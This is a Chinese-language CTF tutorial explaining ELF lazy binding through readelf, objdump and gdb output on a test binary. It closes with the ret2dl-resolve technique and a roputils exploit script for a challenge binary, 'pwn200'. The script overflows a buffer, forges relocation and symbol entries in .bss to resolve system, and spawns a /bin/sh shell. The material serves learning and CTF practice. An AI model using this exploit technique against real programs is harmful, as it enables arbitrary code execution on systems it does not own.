先介绍lazy binding:
代码如下:
#include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
编译链接: gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息:
yang@yang-virtual-machine:~/ctf$ readelf -S bof 共有 30 个节头,从偏移量 0x1178 开始: 节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al 。。。。。。。。。 [ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1 。。。。。。。。。。 [ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4 [10] .rel.plt REL 080482b0 0002b0 000020 08 A 5 12 4 [11] .init PROGBITS 080482d0 0002d0 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16 。。。。。。 [21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4 [24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1 。。。。。 [28] .symtab SYMTAB 00000000 001628 000440 10 29 45 4 [29] .strtab STRTAB 00000000 001a68 00025f 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时,因为库是动态加载的,所以库函数的地址也是不确定的,需要动态加载确定 。
比如调用read函数 ,一般程序汇编代码为: call write@plt
在区段中,重点是这三个区段:plt、rel.plt、got.plt,重点介绍下:
plt段包含一段代码,call的时候就是执行这段代码,rel.plt包含重定位时关于函数地址的结构体,got.plt包含函数的地址,如果是第一次调用函数时,got.plt中包含plt表的地址,以后调用函数时,该表中保存函数地址。
.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数
符号信息:
yang@yang-virtual-machine:~/ctf$ readelf -s bof Symbol table '.dynsym' contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2) 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 4: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) 5: 0804854c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used Symbol table '.symtab' contains 68 entries: Num: Value Size Type Bind Vis Ndx Name 。。。。。。。。。。 46: 00000000 0 FUNC GLOBAL DEFAULT UND read@@GLIBC_2.0 。。。。。。。。。。。 56: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ 57: 00000000 0 FUNC GLOBAL DEFAULT UND write@@GLIBC_2.0 。。。。。。。。。。。。 63: 0804844d 100 FUNC GLOBAL DEFAULT 13 main 64: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 65: 0804a024 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__ 66: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 67: 080482d0 0 FUNC GLOBAL DEFAULT 11 _init
dynamic段信息如下:
yang@yang-virtual-machine:~/ctf$ readelf -d bof Dynamic section at offset 0xf14 contains 24 entries: 标记 类型 名称/值 0x00000001 (NEEDED) 共享库:[libc.so.6] 。。。。。。。。。。。 0x00000005 (STRTAB) 0x804822c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 80 (bytes) 0x0000000b (SYMENT) 16 (bytes) 。。。。。。。。。。。 0x00000017 (JMPREL) 0x80482b0 0x00000011 (REL) 0x80482a8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 。。。。。。。。。。。 yang@yang-virtual-machine:~/ctf$
几个结构体:
.dynamic节区结构体如下:
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
.rel.plt的结构体如下:
typedef struct { Elf32_Addr r_offset; // 函数的真实地址 Elf32_Word r_info; // 符号表索引} Elf32_Rel;
r_info要满足这样的条件:
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)
.dynsym结构体定义:typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
对应着dynamic区段的symtab。
STRTAB中包含着对应的字符串:
gdb-peda$ x/10s 0x804822c 0x804822c: "" 0x804822d: "libc.so.6" 0x8048237: "_IO_stdin_used" 0x8048246: "read" 0x804824b: "__libc_start_main" 0x804825d: "write" 0x8048263: "__gmon_start__" 0x8048272: "GLIBC_2.0" 0x804827c: "" 0x804827d: ""
下边具体分析一下plt段的代码:
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bof bof: 文件格式 elf32-i386 Disassembly of section .plt: 08048300 <read@plt-0x10>: 8048300: ff 35 04 a0 04 08 pushl 0x804a004 8048306: ff 25 08 a0 04 08 jmp *0x804a008 804830c: 00 00 add %al,(%eax) ... 08048310 <read@plt>: 8048310: ff 25 0c a0 04 08 jmp *0x804a00c 8048316: 68 00 00 00 00 push $0x0 804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30> 08048320 <__gmon_start__@plt>: 8048320: ff 25 10 a0 04 08 jmp *0x804a010 8048326: 68 08 00 00 00 push $0x8 804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30> 08048330 <__libc_start_main@plt>: 8048330: ff 25 14 a0 04 08 jmp *0x804a014 8048336: 68 10 00 00 00 push $0x10 804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30> 08048340 <write@plt>: 8048340: ff 25 18 a0 04 08 jmp *0x804a018 8048346: 68 18 00 00 00 push $0x18 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
可以看出plt段起始地址
对应dl_runtime_resolve函数
还是以函数read举例,当调用函数read时,执行call read@plt,跳到地址8048310处执行。
gdb-peda$ x/wx 0x804a00c 0x804a00c <[email protected]>: 0x08048316 gdb-peda$ x/20wx 0x0804a000 0x804a000: 0x08049f14 0xb7fff938 0xb7ff24f0 0x08048316 0x804a010 <[email protected]>: 0x08048326 0xb7e2f990 0x08048346 0x00000000 0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到刚开始[email protected]中保存的是read@plt+0x6的地址,所以调到地址0x8048316处继续执行。
先将got+4入栈,在调用*(got+0x8)处的函数
注意got.plt表的前三项有特殊意义: 第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始就是函数的GOT表了。
函数_dl_runtime_resolve的定义: _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。
根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset;
JMPREL(
对应 rel.plt)可以通过以下命令获取:
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0
gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107
根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置
r_info
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM 0x00000006 (SYMTAB) 0x80481cc 0x0000000b (SYMENT) 16 (bytes) 0x6ffffff0 (VERSYM) 0x804827c gdb-peda$ x/5wx 0x80481dc (sym_entry) 0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012 0x80481ec: 0x00000037
再找到符号信息中的符号名称:
char *sym_name = STRTAB + sym_entry->st_name;
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR 0x00000005 (STRTAB) 0x804822c 0x0000000a (STRSZ) 80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。
return to dl-resolve:
利用原理就是在用户可以控制的区域内,布置几个结构体,包括rel.plt,SYMTAB这几个相关的结构体,数据设置为自己的数据,最后调用到自己要执行的函数。
看一下用roputils模块写的exp:
from roputils import * fpath = './pwn200' offset = 112 rop = ROP(fpath) addr_bss = rop.section('.bss') #获得bss节的地址 buf = rop.retfill(offset) #填充112个字符 buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处 buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数,执行addr_bss+20的函数,参数在addr_bss处。 target = Proc(rop.fpath) target.write(p32(len(buf)) + buf) print "str: %r" % target.read(len(buf)) buf = rop.string('/bin/sh') #从此往下都是读取的数据,此处是函数参数,从此开始也是我们控制布置数据的区域 buf += rop.fill(20, buf) 填充20大小 buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址 buf += rop.fill(500, buf) target.write(buf) target.interact(0)
相关链接: